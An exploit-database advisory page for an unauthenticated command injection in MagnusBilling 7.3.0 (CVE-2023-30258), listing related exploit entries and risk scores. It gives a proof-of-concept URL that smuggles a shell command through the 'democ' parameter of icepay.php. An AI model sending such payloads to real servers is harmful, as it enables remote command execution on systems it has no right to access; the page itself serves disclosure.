MagnusSolution magnusbilling 7.3.0 - Command Injection

🗓️ 11 Apr 2025 00:00:00Reported by CodeSecLabType

exploitdb🔗 www.exploit-db.com👁 358 Views

MagnusBilling 7.3.0 has a command injection vulnerability allowing unauthenticated remote access.

Reporter	Title	Published	Views	Family All 27
GithubExploit	Exploit for OS Command Injection in Magnussolution Magnusbilling	7 Dec 202511:28	–	githubexploit
GithubExploit	Exploit for OS Command Injection in Magnussolution Magnusbilling	13 Jul 202512:53	–	githubexploit
GithubExploit	Exploit for Command Injection in Magnussolution Magnusbilling	25 Feb 202603:19	–	githubexploit
GithubExploit	Exploit for OS Command Injection in Magnussolution Magnusbilling	25 Mar 202516:00	–	githubexploit
GithubExploit	Exploit for OS Command Injection in Magnussolution Magnusbilling	8 Apr 202612:14	–	githubexploit
GithubExploit	Exploit for OS Command Injection in Magnussolution Magnusbilling	12 Mar 202510:27	–	githubexploit
GithubExploit	Exploit for OS Command Injection in Magnussolution Magnusbilling	18 Sep 202515:32	–	githubexploit
GithubExploit	Exploit for OS Command Injection in Magnussolution Magnusbilling	8 Apr 202612:14	–	githubexploit
0day.today	MagnusBilling Remote Command Execution Exploit	14 Nov 202300:00	–	zdt
BDU FSTEC	The vulnerability of the exec() function in the icepay.php script of the MagnusBilling VoIP system allows a hacker to execute arbitrary commands.	19 Apr 202500:00	–	bdu_fstec

# Exploit Title: MagnusSolution magnusbilling 7.3.0 - Command Injection
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/magnussolution/magnusbilling7
# Software Link: https://github.com/magnussolution/magnusbilling7
# Version: 7.3.0 
# Tested on: Centos
# CVE : CVE-2023-30258


# PoC URL for Command Injection

http://magnusbilling/lib/icepay/icepay.php?democ=testfile; id > /tmp/injected.txt

Result: This PoC attempts to inject the id command.

[Replace Your Domain Name]

11 Apr 2025 00:00Current

9.6High risk

Vulners AI Score9.6

CVSS 3.19.8

EPSS0.9425

SSVC

magnusbilling vulnerability command injection remote access unauthenticated exploit poc